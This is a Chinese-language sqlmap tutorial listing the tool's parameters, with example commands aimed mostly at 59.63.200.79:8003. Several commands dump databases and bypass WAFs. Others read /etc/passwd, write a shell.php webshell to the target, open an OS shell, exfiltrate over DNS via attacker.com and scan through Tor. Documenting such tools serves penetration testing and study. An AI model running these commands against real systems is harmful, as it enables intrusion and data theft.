一、Sqlmap介绍

• 开源的SQL注入漏洞检测的工具，能够检测动态页面中的get/post参数，cookie，http头，还能够查看数据，文件系统访问，甚至能够操作系统命令执行。

• 检测方式：布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入

• 支持数据库：Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb

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二、基本参数

1.—update： 更新

python sqlmap.py —update

1. -h：查看常用参数

python sqlmap.py -h

1. -hh：查看全部参数

python sqlmap.py -h

1. —version：查看版本

python sqlmap.py —version

1. -v：查看执行过程信息，默认是1，一共 0 ~ 6

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -v 3

1. -d ： mysql表示数据库类型、user:password表示目标服务器的账号和密码，@后表示要连接的服务器，3306表示端口，zakq_ dababasename表示连接的数据库名称

python sqlmap.py -d “mysql://root:root@192.168.126.128:3386/zkaq_databasename”

1. —wizard ： 向导式

python sqlmap.py —wizard

三.确定目标 

1. -u “URL” ： 指定URL，get请求方式

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“

1. -m url.txt :：使用一个包含多个url的文件进行扫描。若有重复，sqlmap会自动识别成一个。

python sqlmap.py -m url.txt

1. -g ：扫描，使用Google语法得到的url。

python sqlmap.py -g “inurl:\”.php?id=1\”

1. -r request.txt ： Post提交方式，使用HTTP请求文件，该文件可从BurpSuit中导出。（BurpSuit抓包—>将请求复制到txt中即可）

python sqlmap.py -r request.txt

1. -l log.txt —scope=”正则表达式” ：Post提交方式，使用BurpSuit的log文件。（Options—>Misc—>Logging—>Proxy—>勾选Request ，scope的作用是 基于正则表达式去过滤日志内容，筛选需要扫描的对象。

python sqlmap.py -l log.txt —scope=”(www)?.target.(com|net|arg)”

1. -c sqlmap.conf ：使用配置文件进行扫描 (sqlmap.conf与sqlmap.py 在同一目录)

python sqlmap.py -c sqlmap.conf

1. -u “URL” ： 对于这种写法，加*号扫描

python sqlmap.py -u “http://target_url/param1/value1*/param2/value2“

四.配置目标参数 

1. -p ：指定要扫描的参数

python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ -p “username,id”

1. —skip： 排除指定的扫描参数

python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —skip “username,id”

1. —data： 指定扫描的参数，get/post都适用

python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin&password=123”

1. —param-del：改变分隔符，默认是&，因为有些网站不实用&传递多个数据。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin;password=123” —param-del=”;”

1. —cookie ：使用cookie的身份认证

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131”

1. —drop-set-cookie： 有时候发起请求后，服务器端会重新Set-cookie给客户端，SQLmap默认会使用新的cookie，这时候可以设置此参数，表示还是用原来的cookie。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131 —-drop-set-cookie”

1. —user-agent ：使用浏览器代理头

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —user-agent=”aaaaaaaaa”

1. —random-agent： 使用随机的浏览器代理头

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —random-agent

1. —host ：指定主机头

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —host=”aaaaa”

1. —referer=”aaaaaa” ： 指定referer头

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —referer=”aaaaaa”

1. —headers ：有些网站需要特定的头来身份验证

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —headers=”host:aaaa\nUser-Agent:bbbb”

1. —method ：指定请求方式，还有POST

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —method=GET

1. —auth-type ， —auth-cred： 身份认证，还有Digest、NTLM

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —auth-type Basic —auth-cred “user:pass”

1. —auth-file=”ca.PEM” ： 使用私钥证书去进行身份认证，还有个参数—auth-cert，暂时不知道怎么用，没遇到过

2. —proxy ：使用代理去扫描目标，代理软件占用的端口在8080

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/“

1. —proxy-cred：使用代理时的账号和密码

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/“ —proxy-cred=”name:pass”

1. —ignore-proxy ： 忽略系统级代理设置，通常用于扫描本地网络目标，本网段。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —ignore-proxy

 

五、配置目标行为 

1. —force-ssl：使用HTTPS连接进行扫描

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl

1. —delay：每次http请求之间的延迟时间，默认无延迟

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —delay=”3”

1. —timeout：请求超时时间，浮点数，默认为30秒

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —timeout=”10”

1. —retries：http连接的重试次数，默认3次

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —retries=”1”

1. —randomize：长度、类型与原始值保持一致的情况下,随机参数的取值。比如id=100 -> id=1??

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —randomize=”id”

1. —safe-url：检测盲注阶段时，sqlmap会发送大量失败请求，可能导致服务器端销毁session

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-url=”URL”

1. —safe-freq ： 每发送多少次注入请求后，发送一次正常请求，配合—safe-url使用。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-freq

1. —time-sec： 基于时间的注入检测相应延迟时间，默认5秒

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —time-sec=”3”

1. —union-cols ：默认联合查询1-10列，随—level增加，最多支持100列。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-cols 6-9

1. —union-char：联合查询默认使用null，极端情况下可能失败，此时可以手动执行数值

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-char 123

1. —technique US ： 指定检测注入时所用技术，默认情况下Sqlmap会使用自己支持的全部技术进行检测，有B、E、U、S、T、Q

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —technique US

六、优化探测过程 

1. —level 2：检测cookie中是否含有注入、3：检测user-agent、referer是否含有注入、5：检测host是否含有注入

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —level 3

1. —risk 默认1，最高4，等级高容易造成数据被篡改风险

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —risk 3

1. —predict-output ： 优化检测方法，不断比对大数据，缩小检测范围，提高效率，与—threads参数不兼容

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —predict-output

1. —keep-alive ： 长连接、性能好，避免重复建立的网络开销，但大量长连接会占用服务器资源。与—proxy参数不兼容

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —keep-alive

1. —null-connection ： 只获取页面大小的值，通常用于盲注判断真假，与—text-only 不兼容

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —null-connection

1. -o ： 直接开启以上三个(—predict-output、—keep-alive、—null-connection)

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -o

1. —threads=7 ：提高并发线程，默认为1，建议不要超过10，否则影响站点可用性，与—predict-out不兼容

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —threads=7

1. —string=”woaini” ： 页面比较，用于基于布尔注入的检测，因为有时候页面随时间阈值变化，此时需要人为指定标识真假的字符串，除此之外，还有—not-string=”woaini”、—code=200、—titles=”Welcome”等等

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —string=”woaini”

七、特定目标环境

1. —skip-urlencode ：默认get传参会使用URL编码，但有些服务器没按规范，使用原始字符提交数据。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —skip-urlencode

1. —eval ：在提交前，对参数进行pyhton的处理，提升效率

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”

1. —dbms ： 指定数据库类型，还可以加上版本 Mysql<5.0>

python sqlmap.py -u “http://59.63.200.79:8003/?id=1” —dbms=”Mysql”

1. —os ： 指定操作系统，还可以是Linux

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os=”Windows”

1. —invalid-bignum ：sqlmap默认使用负值让参数进行失效，该参数使用最大值让参数失效，比如 id=9999999

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-bignum

1. —invalid-logical ：使用布尔值，比如 id 13 and 18=19

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-logical

1. —no-cast： 将sqlmap取出的数据转换为字符串，并用空格替换NULL结果，在老版本时需要开启此开关。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-cast

1. —no-escape：为了逃逸服务器端对sqlmap的检测，默认使用char()编码替换字符串。本参数将关闭此功能。比如 select ‘foo’ —> select cahr(102) + char(111) + char(111)

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-escape

1. —prefix：添加前缀

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —prefix “‘)’”

1. —suffix ：添加后缀

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —suffix “AND (‘abc’=’abc”

1. —tamper：使用脚本，绕过IPS、WAF等

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tamper=”tamper/between.py,tamper/randomcase.py”

1. —dns-domain：攻击者控制了DNS服务器，可以提高取出数据的效率

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dns-domain attacker.com

1. —second-order：在一个页面注入的结果，从另外一个页面提现出来

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —second-order “1.1.1.1 — The free app that makes your Internet faster.“

八、查看基本信息

1. -f ：扫描时加入数据库指纹检测

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -f

1. -b ： 查看数据库的版本信息

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -b

九、查看数据信息

1. —users ： 查询所有的数据库账号

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —users

1. —dbs ： 查询所有数据库

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dbs

1. —schema ： 查询源数据库（包含定义数据的数据）

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —schema

1. -a ： 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -a

1. -D dvwa： 指定数据库

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -D database_name

1. —current-user ： 查询当前数据库用户

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-user

1. —current-db ： 查询当前数据库

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-db

1. —hostname ： 查看服务器的主机名

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hostname

1. —Privileges -U username ： 查询username的权限

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —Privileges -U username

1. —roles ：查询角色

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —roles

1. —tables ： 查看所有的表

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tables

1. -T ： 指定表

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -T table_name

1. —columns ： 查看所有的字段

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —columns

1. -C ： 指定字段

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -C column_name

1. —count ： 计数，查看有多少条数据

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —count

1. —exclude-sysdbs ： 排除系统库

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —exclude-sysdbs

1. —dump ： 查看数据

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dump

1. —start 3 ： 查看第三条

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —start 3

1. —end 4 ： 查看第四条

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —end 4

1. —sql-query “select * from users” ： 执行语句

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-query “select * from users”

1. —common-columns ： 暴力破解字段，应用于两种情况：①无权限读取数据。②mysql<5.0 ，没有infomation_schema库

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-columns

1. —common-tables ： 暴力破解表

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-tables

十.其他参数

1. —batch ： 自动选是

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —batch

1. —charset：强制字符编码

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —charset=GBK

1. —crawl：爬站深度

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —crawl=3

1. —csv-del：指定csv文件的分隔符

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —csv-del=”;”

1. —flush-session ： 清空session

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —flush-session

1. —force-ssl ： 强制使用HTTPS

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl

1. —fresh-queries ： 重新检测，不使用本地已查询的数据

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —fresh-queries

1. —hex ： 以16进制的形式编码dump出来的数据

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hex

1. —parse-errors ： 分析和显示数据库内建报错信息

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —parse-errors

1. —answer ： 回答

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —answer=”extending=N”

1. —check-waf ： 检测WAF/IPS/IDS

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —check-waf

1. —hpp ： 绕过WAF/IPS/IDS

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hpp

1. —identify-waf ： 彻底检测WAF/IPS/IDS

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —identify-waf

1. —mobile ： 模拟智能手机设备

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —mobile

1. —purge-output ： 清除output文件夹

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —purge-output

1. —smart ： 当有大量检测目标时，只选择基于错误的检测结果

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —smart

十一.高级注入参数

1. —file-read：文件系统访问

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-read=”/etc/passwd”

1. —file-write、—file-dest ：写文件到目标位置

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-write=”shell.php” —file-dest “/tmp/shell.php”

1. —sql-shell ： 进入交互式mysql窗口

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-shell

1. —os-shell ： 进入命令行窗口

python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os-shell

1. 使用Tor代理

sqlmap.py -u http://navisec.it/123.asp?id=1 —tor -tor-type=SOCKS5 —tor-port=9050 —check-tor

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